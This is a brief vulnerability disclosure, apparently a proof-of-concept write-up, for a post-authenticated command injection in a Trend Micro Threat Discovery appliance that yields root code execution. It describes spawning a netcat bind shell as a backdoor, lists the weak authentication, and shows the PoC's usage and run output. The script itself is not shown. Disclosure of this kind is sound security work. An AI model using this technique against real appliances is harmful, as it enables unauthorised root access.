Summary:  
========  
  
There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.  
  
Notes:  
======  
  
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was   
exec a bind shell using netcat.  
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...  
  
Example:  
========  
  
saturn:trend_micro_threat_discovery_log_query_rce mr_me$ ./poc.py   
(+) usage: ./poc.py <target> <pass>  
(+) eg: ./poc.py 172.16.175.123 admin123  
saturn:trend_micro_threat_discovery_log_query_rce mr_me$ ./poc.py 172.16.175.123 admin123  
(+) logged in...  
(+) starting backdoor, this will take a few secs...  
(+) calling backdoor!
